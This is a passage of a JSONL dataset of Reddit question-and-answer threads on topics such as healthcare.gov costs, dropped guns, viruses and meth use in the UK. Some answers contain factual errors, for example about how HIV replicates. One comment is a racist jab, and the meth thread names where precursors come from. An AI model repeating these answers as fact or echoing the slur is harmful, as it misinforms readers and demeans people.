that was paid for or partially paid for by Medicare, the patient could lodge a complaint and the Medicare agent's job would be easier when lodging and investigating the complaint.  I'm not surprised one bit that this project has rolled out so terribly.  CGI Federal staffs cheaply and relies on clunky, outdated software and processes which they try to mold to the business need rather than picking the right tool for the job and paying the right people enough to effectively implement the solution.  \n\nAfter 1.5 years of working on a  > $1mil project, CMS decided several weeks after launch that it wasn't working effectively and killed the project, rolling back to their previous (oooooold) solution.  \n\nI'm not discounting arguments like /u/10212013 who said correctly:\n\n > People also need to understand how government contracting works... it is illegal for the Federal Government to just go off the reservation and hire a contractor, it has to be open for public bids of registered providers of services.\n\nNevertheless, the botched rollout and subsequent media/political attention on _URL_0_ can probably be attributed largely to CGI Federal and their partners, while additional blame lies with CMS themselves.  They should have learned from previous projects which companies are good at winning contracts and bad at delivering and which can do both. ", "New site just launched, MIDI background may or may not work. \n\n_URL_0_", "To put it in terms the average redditor can comprehend : That is only like twice as much as it cost to make to make GTA5, and they started from GTA4.", "Because the government has no motivation to keep costs down.  If they go over budget, they just tax you more.", " Man, fuck people in computer science.  Fuck this computer I'm posting this on.", "Because it's the government and they apparently don't need to follow a budget. ", "[Digital Trends](_URL_1_) has a reasonably intelligent and researched (and cited!) breakdown. While they splash hyperbolic headlines over it, the meat is a bit more nutritious than the candy at the top of the page:\n\n >  a U.S. Government Accountability Office report... states that the [government] spent \u201calmost $394 million from 2010 through 2013\u201d to build... the complex system that includes _URL_0_ ***as well as certain state-based exchanges*** \u2013 the data hub, and other expenditures related to the Obamacare exchange system. While GAO states that the \u201chighest volume\u201d of that $394 million was related to the development of \u201cinformation technology systems,\u201d a more detailed look at that cost shows that a portion that $394 million was spent on things like call centers and collection services. Take that out, and you\u2019re left with roughly $363 million spent on technology-related costs to the healthcare exchanges \u2013 the bulk of which ($88 million) went to CGI Federal, the company awarded a $93.7 million contract to build _URL_0_ and other technology portions of the FFEs.\n\nSo in truth the actual website, including the federally-run state exchanges (i.e. for those states that are refusing to play along with the Affordable Care Act because \"socialism\"), comes a tick under $100 mil. ", "Cause y'all eat too much fried chicken, that's why"]}, "title_urls": ["healthcare.gov"], "selftext_urls": [], "answers_urls": [["http://www.reddit.com/r/explainlikeimfive/comments/1owop4/eli5_how_did_healthcaregov_cost_634000000_that/ccwhsmv", "http://www.reddit.com/r/explainlikeimfive/comments/1owop4/eli5_how_did_healthcaregov_cost_634000000_that/ccwgh1k"], ["http://www.theblaze.com/stories/2013/10/10/rumor-check-obamacare-website-might-be-glitchy-but-it-didnt-cost-634-million/"], ["healthcare.gov", "http://www.gao.gov/assets/660/655291.pdf"], ["http://www.washingtonpost.com/blogs/wonkblog/wp/2013/10/16/meet-cgi-federal-the-company-behind-the-botched-launch-of-healthcare-gov/"], ["http://en.m.wikipedia.org/wiki/Contracting_Officer"], [], [], ["http://www.theblaze.com/stories/2013/10/10/rumor-check-obamacare-website-might-be-glitchy-but-it-didnt-cost-634-million/", "http://www.gao.gov/assets/660/655291.pdf"], [], [], ["http://www.bsa.ca.gov/pdfs/reports/2010-102.pdf", "http://en.wikipedia.org/wiki/California_Court_Case_Management_System"], ["healthcare.gov", "https://mollom.com/web-service-privacy-policy"], ["http://usaspending.gov/explore?tab=By+Prime+Awardee&amp;fiscal_year=all&amp;idvpiid=HHSM500200700015I&amp;typeofview=detailsummary", "http://en.reddit.com/r/Libertarian/comments/1o4wiz/obama_took_634320919_from_taxpayers_to_buy_his/ccoyn6r"], [], [], [], [], [], ["http://www.infoworld.com/t/e-government/how-federal-cronies-built-and-botched-healthcaregov-228724", "https://www.youtube.com/watch?v=8y06NSBBRtY"], [], [], [], [], [], ["healthcare.gov"], [], [], ["http://en.wikipedia.org/wiki/Military_budget_of_the_United_States#Budget_breakdown_for_2012"], [], ["https://www.healthcare.gov/marketplace/global/en_US/registration", "http://www.apache.org/licenses/LICENSE-2.0", "https://www.healthcare.gov/css/all.css"], [], [], [], [], ["Healthcare.gov"], ["http://www.geocities.healthcare.gov"], [], [], [], [], ["Healthcare.gov", "http://www.digitaltrends.com/opinion/obamacare-healthcare-gov-website-cos"], []]}
{"q_id": "5e7vx3", "title": "in films, when a gun, usually a pistol, is dropped or thrown onto the ground, it will sometimes fire. is this something real guns do too, and if so, why, since the trigger isn't being pulled?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5e7vx3/eli5_in_films_when_a_gun_usually_a_pistol_is/", "answers": {"a_id": ["daadyx4", "daaedfu", "daaj19z", "daakc8i", "daaroz9"], "score": [165, 10, 7, 15, 2], "text": ["So, to fire a gun there is a firing pin, which you can see in [this gif](_URL_0_) striking the back of a cartridge, igniting the powder and firing the gun.  *Most* cartridges are center fire, with a primer in the middle (the silvery middle part of the back of a cartridge) but some are rim fire.  [Here is an illustration of the difference](_URL_3_), and [here is a picture of the two](_URL_1_).\n\nThe firing pin hits the primer, which ignites the powder, which fires the bullet.  But it's not just a light tap, it has to strike with a decent amount of force.  In order to do that, the hammer (the part you cock back on a pistol, [highlighted here](_URL_2_) is spring-loaded.  When you cock it, the hammer is pulled against the spring and held in place until you pull the trigger, which releases the hammer, which hits the firing pin (or is attached to it), which hits the primer...etc.\n\nThere are two ways dropping a handgun can cause it to fire.  If the hammer is cocked and you drop it, you may jar the hammer so that it slips past the mechanism holding it back, in which case it slams into the firing pin just like it's supposed to do, as if you had pulled the trigger.  That is not good, and it's also why you should never keep your firearm cocked until you're ready to use it.  But as u/NO_LATTE_NO_PEACE pointed out, many pistols are double-action, so you don't have to cock the hammer first.  The hammer is cocked *as you pull the trigger* until you reach a point in the swing of the trigger that releases the hammer.  If it's an automatic or semi-automatic weapon, the firing action reloads the gun and cocks the hammer again.  Single-action weapons, like the revolvers of the old west, require you to cock the hammer each time you want to fire, before you pull the trigger.\n\nSo if you're carrying a weapon for personal defense, it's probably going to be a double-action, in which case you can carry it without it being cocked and you don't have to worry about wasting the time to cock it.  Single-action weapons are generally considered to be simpler and more reliable.  But that's neither here nor there.\n\nThe other way a weapon might fire when dropped is if it lands directly on the hammer.  In that case, when the hammer hits the ground and transfers the energy of the drop into the hammer, it pushes the hammer against the firing pin with a lot of force, exactly as if the hammer had been released by the trigger.  The floor hits the hammer, which hits the firing pin, which hits the primer...etc.  However, most modern weapons will not allow the firing pin to touch the back of the cartridge unless the hammer has been cocked first.  There is a mechanism in place that gets between the hammer and the firing pin or prevents the hammer from moving forward unless it's been cocked and/or the trigger is pulled.  With those weapons, you can bang on it as hard as you want and it will not go off... \\*\n\n\\* Until the gunpowder ignites from the shock, which is a thing gunpowder can do.  It's *possible* that if you dropped a gun from high enough the sheer force of hitting the ground would set off the gunpowder, but...that's not a realistic possibility.  It certainly won't happen from you dropping it from your hand onto the ground.\n\nIt *used* to be more common, partly because guns were not designed with the safety features to prevent the firing pin from touching the cartridge.  Older guns simply rested the firing pin against the back of the cartridge, and the hammer against the firing pin when it wasn't cocked.  Obviously, this is pretty unsafe, but hey, guns were still being improved upon so no one had anything better at the time.  We have also significantly improved our understanding of gun safety when we handle weapons so people to know better than to keep a gun cocked when you aren't about to immediately fire it, and technologies like double-action weapons have allowed people to be more comfortable because they don't need to have the weapon cocked before the gunfight starts.  Today it's very uncommon, unless someone is mishandling the gun, the mechanism is malfunctioning, or most likely, both.", "Some older single action revolvers when fully loaded with 6 rounds have the firing pin resting on the primer of one of the bullets. Since they have no safety, a bump on the hammer can fire the bullet. Modern revolvers have a safety that blocks the firing pin from the primer until the trigger is pulled. \n\nHere is a good demonstration of this _URL_0_\n", "It was somewhat true in the days of old with revolvers where the hammer rested close or directly on the primer of a cartridge. But in modern weapons misfires from dropping have been almost eliminated. There was a recall on Remington 700 rifles because they were causing misfired without pulling the trigger, but only when it was cocked and not on safe. Again though it was recalled. \n\nThe mechanism that stops misfires from the hammer directly contacting the primer is very present in the M9/ 92FS series pistols that the military uses. The weapon will not fire unless the trigger is pulled. There is a piece of metal in between the firing pin and the primer of the bullet. This piece will only move unless the trigger is pulled because the trigger is directly connected to this piece. So I can slam the pistol down, throw it, or otherwise try to cause a misfire and it will not unless that trigger is pulled. It also helps that the trigger is fairly heavy, so it falling cannot cause enough energy to transfer into the trigger for it to get pulled, which is what was causing the misfires in the Remington rifles. ", "Nope.  This is Hollywood nonsense. Modern guns do not discharge when they hit the ground.  In fact, most people will tell you that if you drop a gun it is safer to let it just hit the ground than attempt to catch it.  \n\nThe only times a gun will discharge on impact is (1) you are using an antique gun design, like a Colt SAA or (2) the gun is damaged and mechanically defective.\n\nThat scene in True Lies with the Mac 10 is total nonsense.", "It depends on the gun. Some do though. When people think of  gun they tend to think of something like a revolver or an 1911 pistol, both of which have a hammer that gets pulled back in order to fire. Many guns use an internal firing pin though that is not like a hammer, its more like a spring loaded nail that gets pulled back and compresses a spring, and when you fire, the sharp pin is pushed forward by the spring and strikes the firing cap on the back of the round. \n\nWhen a gun is dropped it is possible for the shock of landing to push the firing pin back only to have the spring snap it forward again, firing the weapon. You have to put a specific mechanism in place that doesn't allow the firing pin to move unless the trigger is squeezed. \n\nFor instance I own a Glock 17c which has a little mechanism on the trigger and the firing pin cannot strike unless the trigger is depressed. So a Glock cannot fire from dropping it if it's working properly. The Glock does not have a manual safety though so if it is cocked, it will always fire if the trigger is pulled and there is no way to prevent that other than to eject the magazine and un-chamber the round. Glock owners will usually tell you that with a Glock the safety is 'between your ears' IE you don't put your finger on the trigger unless you are prepared to destroy what it is aiming at. \n\nGuns like the 1911 on the other hand can block the hammer and prevent the weapon from discharging, but if there is a firing pin it doesn't always immobilize it so it's possible if struck against the ground for the weapon to fire even safed. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.saratogaweapons.com/Rob/gifs/bullet-animation.gif", "http://www.pewpewtactical.com/wp-content/uploads/2015/06/Rimfire-vs-Centerfire-Firing-Pin-Marks.jpg", "http://www.thefirearms.guide/wp-content/uploads/diag-gun2-hammer.jpg", "http://info.blackstoneshooting.com/hubfs/rim-center-1.jpg"], ["https://youtu.be/ldHPNnsp-cs"], [], [], []]}
{"q_id": "5frc2j", "title": "In the history of the United States of America, from its founding to today, were there times in this history when the US might be considered an oligarchy? If so, when were those time periods and why?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/5frc2j/in_the_history_of_the_united_states_of_america/", "answers": {"a_id": ["damg8hd"], "score": [3], "text": ["I saw your previous question,  I'm glad you came back for another shot. \n\nThe long and short of it comes down to *how small* of a group is required for oligarchy. Certainly for the first 145 or so years of US history, only a minority of citizens had the legal right to vote. This started with white, male property owners. The last property requirements for voting were finally abolished shortly before the Civil War. Then, for another 55 years after that, women were still not given the franchise until the passage of the 19th amendment in 1920. Only at this point can we safely say that a majority of American citizens had the legal right to cast a vote at the ballot box - that is, all white people. Of course, African-Americans were only given actual access to the ballot box in the 60s with the Civil Rights Movement and the Voting Rights Act. But this is just the legal sense of the term; it's just who has the theoretical legal right to vote, not who *actually votes*. \n\nGiven that voter turnout for presidential elections generally hovers in the high 50% range, and that it is much, much lower for off-year Congressional, all state, and all locals elections, one could convincingly make the argument that only a small group of people are *actually* exercising any control over the government through the ballot box, regardless of whether or not those people who are not taking part have a right to do so or not. \n\nAll of this doesn't even touch on the question of class - whether the \"rich and powerful\" or \"special interests\" are able to use their influence to the detriment of the rest. I'm sure there are lots of arguments that can be made for and against that claim, and I'm just not qualified - or willing - to jump down that rabbit hole at the moment. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "9zo4vg", "title": "how do we know the \"value\" of each type of money?", "selftext": "For example, why is a dollar 0.78 pound and not the other way around?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9zo4vg/eli5_how_do_we_know_the_value_of_each_type_of/", "answers": {"a_id": ["eaaot3d", "eaaoxvo", "eaap2qf", "eaavin6"], "score": [2, 8, 16, 5], "text": ["That price is determined by what people holding dollars are willing to pay for pounds and vice versa as well as how many people there are who have pounds and want dollars and vice versa.\n\nIt's determined exactly the same way a store determines what to sell a gallon of milk for.", "Exchange rates are set (mostly) by banks trading currency with one another.\n\nLet's say I go to London and buy a burger. All of my money is in dollars, but the cost of the burger is in pounds. For the transaction to occur, the restaurant's bank and my bank must come up with an exchange rate between the two of them. Collectively, all of these transactions are used to establish a market rate for that particular exchange.", "The same as the prices of anything else, really: that's what people are willing to pay for them and sell them for. If nobody was willing to pay 0.78 pounds for a dollar, then the price of a dollar would go down. If more people were willing to pay that then there were dollars being sold then the price of a dollar would go up, since dollar sellers could raise the price and still sell what they wanted to. ", "I'm asking this too, yet all the answers seem say that it's determined by how much we are willing to pay for another currency, like we're  \"buying money\". Isn't it more complicated than that, eg; it's based on the markets, trade of goods and a nation's economic standing? I always hear that the Canadian dollar goes up when the U.S. economy goes down and unemployment rate goes up. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "8sp198", "title": "scientifically speaking, how do severely immobile people become fused to their furniture?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/8sp198/eli5_scientifically_speaking_how_do_severely/", "answers": {"a_id": ["e117ntl", "e11azod", "e11seq1"], "score": [25, 8, 5], "text": ["Skin is not a solid substance. It is made up of cells and layers. If you press skin down with enough weight, the fibers of a fabric can become entwined in the skin. This doesn't happen with every fiber or every boundary of skin cells, but it can happen enough that it appears that the two are intertwined. This is especially true if the weight on the skin exists over an extended period of time, and since morbidly obese people are often in the same position for a long time, you can see how this happens. This is much less likely to happen with smooth fabric, but since all fabric is made up of fibers, it can happen anyway. Just think. Press down on a slab of skin with a pressure approaching 100lb/sq in. over a long period of time. Would you expect anything else?", "I heard of someone not changing their sweat pants for like, years, decades.\nTheir hair grew through the pants and locked in.\nSomething else similar too like someone wore some certain footwear and their toenails grew around the saddle or something and locked in.\n\nI feel awful for those people :( ", "Little injuries like bedsores stick to the fabric and then the new skin intertwines with it, like a bandage left on too long."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "2y98ex", "title": "From their perspectives, how old are black holes?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2y98ex/from_their_perspectives_how_old_are_black_holes/", "answers": {"a_id": ["cp8i86f"], "score": [3], "text": ["At most pi/2 *r_s/c _URL_0_\nr_s being the schwarzschild radius, c being the speed of light. (r_s = 2m in the units in the paper)\n\nedit: that's ~8*10^(-36)seconds/kilogram"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://arxiv.org/PS_cache/arxiv/pdf/0705/0705.1029v1.pdf"]]}
{"q_id": "1mkcir", "title": "is Starlite a hoax?", "selftext": "Hi everybody,\n\nI just learnt about Starlite and I cant believe inventor didnt share how it was made and died with his secret.\n\n\nStarlite:\n\n\"A plastic with incredible heat resistance, Starlite\u2019s quality as a thermal insulator is actually so staggering that for a while people just assumed its inventor was deluded. Then, following the above TV spot, the British Atomic Weapons Establishment (AWE) got in touch. They subjected it to nuclear-flash-level bursts of heat, up to the level of 75 Hiroshimas. The sample was fine, if a little charred. One scientist remarked \u201cNormally, we do a test every couple of hours because we have to wait for [the material] to cool down. We\u2019re doing it every 10 minutes, and it\u2019s sat there laughing at us.\u201d\n\n_URL_0_\n\nI just cant believe it. Is it real?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1mkcir/is_starlite_a_hoax/", "answers": {"a_id": ["cca4mhu", "ccab2ua"], "score": [44, 2], "text": ["I don't think it's a hoax, in the sense that I think this guy invented something. But claims mean nothing; anyone can say whatever they want. In the end, this TV-spot is one of few bits of documentation that this thing ever existed. And all I can tell from it is that it's something that'll smoulder when exposed to a blow-torch, which isn't terribly remarkable in itself. (You're also not going to get _anywhere near_ 2,500 degrees with a blow-torch like that! Seriously, that'd be enough to make some metals boil) \"75 Hiroshimas\" is so misleading it's almost a lie. _Maybe_ the laser beam they used had a light intensity on the order of the _flash_ from Hiroshima or something. But the heat of one Hiroshima is easily enough to vaporize any substance known to man, near ground zero. But even that doesn't say much, without knowing how long the laser pulse is. So it didn't get hot? Well, at most that means that the material doesn't absorb that one wavelength of light the laser has very well. \n\nThat 'egg test' is a bit weird. I mean, what are we comparing to? Not many people know what an untreated egg looks like under a blow torch. But since I had both those things handy, and obviously didn't have anything better to do, [I tried it out, here are the photos.](_URL_0_). Overall I don't think it looked that different (except for the runny yolk, maybe the Starlite test used a hard-boiled egg). Overall I felt it looked pretty similar, which is what I expected. Blowtorch flames are hot, but only the surface of the egg is going to get very hot in this amount of time, because eggs are full of water that'll boil off and cool the thing. So you're mostly looking at a glowing charcoal surface.\n\nThose \"10 mindblowing uses\" are just ridiculous. How could you possibly say anything at all about the potential uses of a material almost nothing is known about?\n\nIn short, nothing _actually demonstrated_ about the material seems impossible or incredible. It'd be interesting if all the claims were true, but claims are just claims. I mean, if I claim to have a standard-type car that gets 10x the fuel efficiency of existing ones, that's amazing. But if all I demonstrate is the car but not the fuel consumption, or the fuel consumption but not the car, I haven't actually demonstrated my claim, because it's the combination of things that would be the novelty. In this case, how do you even know the thing is a plastic if the creator didn't let anyone analyze what it was?\n", "It's hard to judge the feasibility of the material without good data on the time and intensity of the heat or more detailed ideas of its composition, but we can look at what similar materials can withstand.\n\nThe article claims starlite is made from a blend of organic polymers and some ceramic material.  The right ceramic material by itself can probably handle the heat.  [Aerogels](_URL_0_) (super porous ceramics) are amazing insulators, and the heat resistant tiles used on the space shuttles are pretty amazing as well.  They have extremely low thermal conductivities so you can hold onto the back of a piece while heating the front with a blowtorch.  It is important to note that the main reason they work so well is that they are composed of mostly empty space.  Empty air is a very good insulator, especially when you trap it in a very tortuous space and have a large amount of solid-air-solid-air interfaces.\n\nOrganic polymers, no matter what type, cannot handle heat anywhere near as high as suggested.  The best high temperature organic polymers that I know of can handle 500-600 degrees C max before thermal decomposition.  It matters very little their exact molecular composition, once you get up to 1000 C the long range order of the polymer would be permanently degraded, even if the piece maintained its general shape.\n\nSo to make a material that was predominately organic polymer based with just a small amount of ceramic seems completely implausible by all material stability rules that I know about.  The material would not have a continuous and porous ceramic lattice to prevent heat flow, it would be a considerably denser hybrid material that loses most of the benefits of ceramic insulators.  Perhaps you could create a piece of material with a thin porous ceramic layer coating an organic polymer layer that could withstand blasts of heat on the ceramic side, but this would not be a material that could be applied as a paint."]}, "title_urls": [], "selftext_urls": ["http://www.techradar.com/news/world-of-tech/future-tech/10-mindblowing-uses-for-the-world-changing-substance-that-never-was-1156955"], "answers_urls": [["http://imgur.com/a/HiqQg"], ["http://en.wikipedia.org/wiki/Aerogel"]]}
{"q_id": "a3u0mf", "title": "why do jewish people wear those string things below their shirts?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/a3u0mf/eli5_why_do_jewish_people_wear_those_string/", "answers": {"a_id": ["eb95l4b"], "score": [6], "text": ["Those are the tassels called Tzitzit which are on a religious prayer shawl called a Tallit. They are suppose to be worn during prayer times, on the Sabbath, and on the High Holy days though some orthodox Jews wear it daily. \n\nAs with most religious garments there are lots of meanings attached to it, but in general it is viewed as both a sign of submissiveness to God, and a singling out that you are a Jew. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "2assii", "title": "Can a cell be invaded by two different strains of viruses at the same time? If so, do the viruses try and destroy the other or do they work together in using the cell's machinery to reproduce?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2assii/can_a_cell_be_invaded_by_two_different_strains_of/", "answers": {"a_id": ["ciyt0eb", "ciyu5nl"], "score": [9, 4], "text": ["This is a good question with an interesting answer. Yes, two different strains can indeed infect a cell at the same time! This is how new flu viruses are thought to come about, they mix and match their genes and re-emerge as new, more virulent strains.\n\nSome viruses can ONLY reproduce when its co infecting. The best example I know of this is Hepatitis D virus. By itself, it can do nothing, but if it infects along side Hep B virus, it can spread. It uses some of the Hep B machinery and Hep B surface proteins. ", "Yes this is possible. And it can have some terrifying effects.\n\nTracing HIV back to its origins (by looking at similar viruses), it appears that 2 monkey viruses, from 2 different species of monkey, were present in the same cell at the same time and mutated together. This mutant hybrid of both viruses made its way into a human (probably through a monkey bite).\n\nThis is not particularly hard for viruses to bond together, especially retro-viruses like HIV. They don't have DNA, they're just a chain of RNA that hijacks a ribosome to replicate. Since they're jacking the system, it's easy for \"normal\" protein synthesis to get disturbed and 2 virus chains to conjoin - well, much easier than the same thing occurring between Eukaryote genes."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "1j8p7o", "title": "what is the us chamber of commerce and what do they do?", "selftext": "I was researching lobbyist groups and they are the largest by far.  So is this just what they do? And who is supporting them? What are their lobbying efforts geared towards?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1j8p7o/eli5what_is_the_us_chamber_of_commerce_and_what/", "answers": {"a_id": ["cbc8lm2", "cbc8mln", "cbcbe8a"], "score": [3, 6, 3], "text": ["It is a group of people that promote the interests of businesses in a specific area.  You could call it a guild.  They set up networking events, lobby for businesses, and put on seminars.", "It's a national association that has about 300,000 members. Most are very large national or international corporations, but there are some small and mid-size businesses. \n\nThe Chamber advocates for pro-business policies through lobbying and sometimes in court. Positions they advocate include low corporate taxes, lower barriers to international trade, less environmental and other regulation, higher barriers to tort and class action lawsuits, stronger protection of intellectual property, pro-immigration reform, and more focus on conventional energy exploitation.", "it is a national coalition of political lobbying groups that represent businesses. in general, the chamber of commerce is organized in a regional chapter system, where each locality is likely to have its own semi-autonomous chapter of the Chamber of Commerce. the individual chapters lobby their local governments to promote the interests of local businesses. \n\non the national level the Chamber of Commerce pools resources from many of its constituent chapters. the national CoC tends to be dominated more by large businesses that operate at the national level, and need to lobby the largest bodies of government such as the State governments or the Federal government. \n\ntheir lobbying is very nakedly directed towards protecting the profits of business. their main concern is convincing the various levels of government to pass laws that make it easier for businesses to make a profit. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "5vni9l", "title": "why do people tend to behave more poorly on facebook despite a complete lack of anonymity?", "selftext": "I know this is **extremely generalized**, but, why is it that people tend to behave worse on Facebook even though your real identity is literally on display? You'd think that that fact alone would cause people to act completely differently. Compare that to a site like Reddit; people here have the ability to be completely anonymous and have multiple accounts, and yet most seem to follow very particular expectations and social rules. \n\nEdit: Grammar ", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5vni9l/eli5_why_do_people_tend_to_behave_more_poorly_on/", "answers": {"a_id": ["de3fsnm", "de3vkya", "de3yefu", "de49mp4"], "score": [14, 6, 7, 2], "text": ["Anonymity is a very powerful promoter of bad behavior, but it is not the only one. Two things that help promote good behavior is consequences and our natural empathy.\n\nOn facebook there are somewhat limited consequences, especially when interacting with strangers. Tom Jones from Hawaii may be able to see that you are Cindy Feldman from Florida, but there may not be any meaningful way that he can retaliate against you being a jerk with that information.\n\nTo the second point, when you interact face to face there are powerful factors that are at play in most people. Seeing actual other people in pain and suffering can cause mirrored emotions ourselves. This natural empathy is short circuited not by our own anonymity, but by the anonymity of our victim. They are a random avatar on the computer screen, not a breathing person whose mom is in the hospital, whose face is twisting in pain at an insult, who just stopped to help us jump our car, etc. Faceboom turns the wold into a giant game of Sims where others are just AI that we can interact with.", "I thought it was just because Facebook was for everyone and Reddit attracted a less stupid/aggressive demographic.", "From my experience, I believe there are two very distinct clades of people on Facebook.  You have those people who abstain from politics altogether (like myself) and then you have the rest who do the exact opposite and make Facebook their political soapbox.  Why does clade B behave more poorly than you might otherwise think?  It's because all of those friends who disagree with them politically or those friends who fall into clade A defriended them a long time ago and thus they know full well that they're talking to a tribal audience!  This results in an echo chamber situation. _URL_0_  Rush Limbaugh, Sean Hannity etc aren't successful because they aim for inclusiveness, they are successful because they have a core audience whose beliefs chime with their own.  And as their careers took off, they learned that more invective and more bombast meant more positive feedback from their headbanging crowds.  This is exactly what happened with Donald Trump, whether you agree with him or not.  Their careers are nothing but long positive feedback loops of frothy anger and rage aimed at one side of the political divide.\n\nThus, you have Facebook and people acting like fools.  My mom fits this bill to a T.  She says the most vile things on Facebook sometimes and she no longer has any leftward leaning friends to smack her down a peg.  So she's become conditioned to only say things which earn her \"RIGHT ON, BRO\"S and \"FUCK YEAH\"s from whatever friends she has left.  So sad.", "Think about being in a bar and talking with several of your close friends.  You feel surrounded by supporters, and that euphoric feeling lets those feelings escalate to a level that you (hopefully) normally would not show in public.\n\nFrom a sociological perspective, people on Facebook tend to be surrounded by their friends who have similar interests, ideals and levels of drama.  And some people honestly aren't smart enough to know the difference between speaking in a closed group of friends vs speaking where pretty much anyone can see it, or they simply haven't been called out on their actions.\n\nIn my career, I have stopped using social media entirely from a personal perspective.  If you think that general people, the media, and potential partners/employers don't do a thorough check to see what you are really like as a person... then you deserve the results of your actions."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["https://en.wikipedia.org/wiki/Echo_chamber_(media)"], []]}
{"q_id": "52wg91", "title": "why isn't crystal meth used in the uk nearly as much as the us?", "selftext": "Been rewatching Breaking Bad again and since i'm from the UK it got me thinking. Over here you never hear of Meth being a problem, where as in the US its a much bigger issue. Is there any reason why Meth isn't popular in the UK?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/52wg91/eli5why_isnt_crystal_meth_used_in_the_uk_nearly/", "answers": {"a_id": ["d7numm7", "d7nut69", "d7nuta0", "d7nxo8d", "d7pefw9"], "score": [7, 3, 39, 19, 2], "text": ["Simply because of the fact that it pretty much isn't popular on the streets. It's big in the gay scene according to Vice but the british drug market is well served to the point where people are generally satisfied with their coke and marijuana. Plus it is hard to manufacture meth without getting caught since you need large open spaces which only attracts attention, there's no precedent for the manufacture of meth in the tons so this covers most the reasons why. ", "Some reasons:\n\n* The UK has a smaller drug problem overall.\n* The UK already ~~has~~ had a lot of drugs that ~~can~~ could be used legally that are illegal in the US. Why break the law to have your fun when you can do it legally.\n* It's harder to import illegal substances and/or the chemicals to make them to an island nation that it is to smuggle things into the US.\n* While there are certainly open areas in the UK, it's hard to manufacture it in such a packed-in country. It's dangerous and smelly to make.", "Everything about meth requires a lot of wide-open rural spaces.  The manufacturers need the isolation to run the labs without being noticed, and the users definitely need space to be their batshit selves without being immediately arrested.  So meth is a big problem in like rural North Dakota, rural Texas, West Virginia, the Australian Outback, etc., but you don't find it as much in like urban New York, Boston, Chicago, etc.\n\nThis is sort of the same reason why crack cocaine isn't popular in the UK even though powder cocaine is: Crackheads lose control, and would get picked up pretty quickly in a highly structured, surveilled society, while coke is more of a party thing.  \n\nThere was this feature article a while ago about the *handful* of crackheads living in Berlin, and the cops all know them and they're constantly being watched, it's kind of strange.  \n\nThe pattern seems to be: Urban poor = heroin; urban rich = cocaine; poor sprawl (like Los Angeles or suburban Boston) = crack and opiate pills; rural = meth and opiate pills.", "Everyone here keeps talking about wide open spaces and that just isn't it.  The only point I've read that has some merit is that the labs benefit from space away from neighbors.  The stench from cooking is really strong.  Meth labs don't need big spaces.  Most are in kitchens, bath tubs, or basements.  It's not uncommon here (in the midwest) for people to have meth labs in their backpacks.  Here's a story from a city near my parents just this year: \n\n_URL_0_\n\nJust google it, there are a ton of others.  The reason meth is so common in rural areas is because almost all of the ingredients are farming chemicals and can be easily obtained/stolen.  The ingredients that aren't farming chemicals are still easily obtained from OTC drugs.  Anhydrous ammonia is a primary ingredient in the extraction process and that can be stolen from fertilizer tanks stored at co-ops and farms.  Google that too, lots of meth cooks die trying to get the ammonia out of the tanks because of the pressure or an explosion.  The synthesis is an easy three step process.  \n\nThere's this really interesting book, \"Methland\", written about areas near where I grew up.  The author of that book argues that the meth problem in the rural US is a product of globalization.  Here's a kinda lengthy synopsis of it that will probably answer your questions: \n\n_URL_1_\n\nHappy reading! \n", "Here is a great comment from /u/Sulla7734 about it that covers most of what I can think of: _URL_0_\n\n & nbsp;\n\n\n[\u2013]Sulla7734 2 points 26 days ago* \n\nI'm not really sure why Meth has never caught-on in the UK and I've always wondered why myself.\n\nJust look the the following stat from 2013: New figures from the Home Office estimate that in the past year about 17,000 people aged 16-59 in England and Wales took methamphetamine - fewer than for any other drug recorded. About 27,000 people had used heroin, 47,000 crack cocaine, 120,000 ketamine and two million cannabis\n\nEven given this low number, I believe Meth is mainly concentrated in the very niche London-based gay 'Chemsex' scene (similar to the US 'party n play' culture).\n\nAs you said, the precursors are probably harder to get (medicines containing pseudoephedrine can only be dispensed at a pharmacist's discretion from behind the counter).\n\nOur high population density and famously curtain-twitching nosey neighbours probably make it much harder to run a clandestine meth lab compared with the rural-American boonies.\n\nHowever, I think the best explanation is simply that there has never been a gap in the UK drug market for Meth to jump into. Speed (amphetamine sulphate) is smuggled in from the Netherlands and is astoundingly cheap, Coke is plentiful and popular, despite being expensive (loved by the urban professional middle class, almost as a snobby I'm so rich I can afford cocaine status symbol), MDMA is cheap and readily available as the classic British \"night on the town\" drug (usually taken in shockingly high doses) In short, there has never been an itch you cannot scratch so there is no reason why Meth would have taken hold. Compare this with the USA, where the ruthless destruction of the Medellin Certel in the 1980s temporarily disrupted the supply of Coke into the country and caused an outcry for a new hard-stim to take its place. Meth was also pushed big by the Mexican gangs who were fed up of just being middle-men for the Columbians and were desperate to get America hooked on a synthetic drug which they could control the production of.\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["http://www.press-citizen.com/story/news/crime-and-courts/2016/05/10/iowa-city-man-found-meth-lab-backpack/84184188/", 